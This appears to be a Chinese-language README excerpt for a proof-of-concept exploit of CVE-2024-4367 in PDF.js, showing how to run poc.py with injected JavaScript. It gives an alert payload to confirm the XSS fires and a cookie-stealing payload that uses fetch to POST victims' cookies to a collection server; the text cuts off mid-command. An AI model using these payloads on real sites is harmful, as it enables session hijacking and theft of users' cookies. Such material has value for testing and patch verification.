CVE-2024-4367-POC-PDFJS

CVE 2024 4367: 利用XSS（跨站脚本）的PoC 1. 显示弹窗（XSS触发） 另一个利用示例是注入一个简单的警告消息，以验证攻击是否有效。 python poc.py "alert'XSS exploit triggered';" 说明 ：此代码在页面中注入一个弹出警告框，从而可以快速测试XSS利用是否在目标站点上执行。 2. 窃取Cookie XSS攻击可用于窃取受害者的Cookie，并将其发送到恶意服务器。 python poc.py "fetch'http://localhost:3000/cookie', method: 'POST', headers:...